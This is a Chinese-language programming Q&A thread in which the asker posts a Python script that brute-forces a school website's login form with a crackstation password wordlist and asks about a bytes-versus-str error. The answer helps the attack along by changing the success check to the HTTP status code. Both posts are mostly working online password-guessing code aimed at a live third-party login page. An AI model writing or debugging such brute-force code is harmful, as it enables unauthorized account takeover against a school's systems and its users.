“需要类似字节的 object，而不是 str” Python 中的错误

Question

为了在大流行期间做点什么，我尝试创建一个密码破解程序来尝试猜测我自己的学校网站密码（我知道这很无聊，但我觉得这很酷）。

但是，当我运行我的程序时，我得到“如果'无效密码'不在 response.content:”中，我得到“需要一个类似字节的 object，而不是'str'”。

我环顾四周，但找不到任何可以帮助我的东西。 如果有人可以提供帮助，将不胜感激

target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if "Invalid password" not in response.content:
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")```

Answer 1

我不认为验证内容是最好的方法。 尝试验证响应状态码，如果密码正确，状态码将为 200，否则为 401 或 403。例如

target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if response.status_code == 200: # This is the changed line
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")